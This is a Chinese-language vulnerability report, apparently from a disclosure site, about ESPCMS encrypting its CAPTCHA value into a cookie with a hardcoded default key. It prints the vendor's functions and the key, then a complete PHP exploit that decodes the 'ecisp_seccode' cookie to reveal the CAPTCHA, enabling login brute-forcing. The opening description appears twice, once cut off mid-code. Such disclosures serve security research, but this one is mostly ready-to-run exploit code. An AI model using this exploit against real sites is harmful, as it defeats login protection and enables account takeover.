### 简要描述： ESPCMS 全版！验证码破解！验证码等于虚设（可导致爆破等） ### 详细说明： 先看验证码生成的方法！只是生成了一个6位随机数 然后加密保存到cookie中！关键点在于加密函数eccode 竟然采用的是默认的key ``` $fun = new functioninc(); $seccode = rand(100000, 999999); $secode = $fun->accept('secode', 'R'); if ($secode == 'ecisp_seccode') { $secode_name = 'ecisp_seccode'; } else { $secode_name = 'ecisp_home_seccode'; } $fun->setcookie($secode_name, $fun->eccode($seccode . "\t" . time(), 'ENCODE')); ``` 文件/public/class_function.php加密函数 ``` function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) { $result = null; if ($operation == 'ENCODE') { for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) + ord($keychar)); $result.=$char; } $result = base64_encode($result); $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result); } elseif ($operation == 'DECODE') { $data = str_replace(array('-', '_'), array('+', '/'),...
### 简要描述： ESPCMS 全版！验证码破解！验证码等于虚设（可导致爆破等） ### 详细说明： 先看验证码生成的方法！只是生成了一个6位随机数 然后加密保存到cookie中！关键点在于加密函数eccode 竟然采用的是默认的key ``` $fun = new functioninc(); $seccode = rand(100000, 999999); $secode = $fun->accept('secode', 'R'); if ($secode == 'ecisp_seccode') { $secode_name = 'ecisp_seccode'; } else { $secode_name = 'ecisp_home_seccode'; } $fun->setcookie($secode_name, $fun->eccode($seccode . "\t" . time(), 'ENCODE')); ``` 文件/public/class_function.php加密函数 ``` function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) { $result = null; if ($operation == 'ENCODE') { for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) + ord($keychar)); $result.=$char; } $result = base64_encode($result); $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result); } elseif ($operation == 'DECODE') { $data = str_replace(array('-', '_'), array('+', '/'), $string); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } } return $result; } ``` 再看验证码验证机制 ``` function onlogin_into() { include_once admin_ROOT . '/public/class_seccode.php'; $linkURL = $_SERVER['HTTP_REFERER']; ................................... list($new_seccode, $expiration) = explode("\t", $this->fun->eccode($_COOKIE['ecisp_seccode'], 'DECODE')); $code = new seccode(); $code->seccodeconvert($new_seccode); ................................... } ``` 给你们看下他的seccodeconvert函数 就是将6位随机数变成验证码的 ``` function seccodeconvert(&$seccode) { $s = sprintf('%04s', base_convert($seccode, 10, 20)); $seccodeunits = 'CEFHKLMNOPQRSTUVWXYZ'; $seccode = ''; for ($i = 0; $i < 4; $i++) { $unit = ord($s{$i}); $seccode.= ( $unit >= 0x30 && $unit <= 0x39) ? $seccodeunits[$unit - 0x30] : $seccodeunits[$unit - 0x57]; } } ``` 那么写个exp破解下？根据验证验证码的代码逻辑得到一下exp ``` <?php list($new_seccode, $expiration) = explode("\t",eccode('XHZ-d4JlPaRmYm1edquRmYY', 'DECODE')); //XHZ-d4JlPaRmYm1edquRmYY 就是$_COOKIE['ecisp_seccode']就是名为ecisp_seccode的cookie echo seccodeconvert($new_seccode); function seccodeconvert(&$seccode) { $s = sprintf('%04s', base_convert($seccode, 10, 20)); $seccodeunits = 'CEFHKLMNOPQRSTUVWXYZ'; $seccode = ''; for ($i = 0; $i < 4; $i++) { $unit = ord($s{$i}); $seccode.= ( $unit >= 0x30 && $unit <= 0x39) ? $seccodeunits[$unit - 0x30] : $seccodeunits[$unit - 0x57]; } return $seccode; } function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) { $result = null; if ($operation == 'ENCODE') { for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) + ord($keychar)); $result.=$char; } $result = base64_encode($result); $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result); } elseif ($operation == 'DECODE') { $data = str_replace(array('-', '_'), array('+', '/'), $string); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } } return $result; } ?> ``` [<img src="https://images.seebug.org/upload/201409/061038499140c4463ce2fd9e3973533799911b91.png" alt="QQ截图20140906103813.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/061038499140c4463ce2fd9e3973533799911b91.png) ### 漏洞证明： [<img src="https://images.seebug.org/upload/201409/061038499140c4463ce2fd9e3973533799911b91.png" alt="QQ截图20140906103813.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/061038499140c4463ce2fd9e3973533799911b91.png)
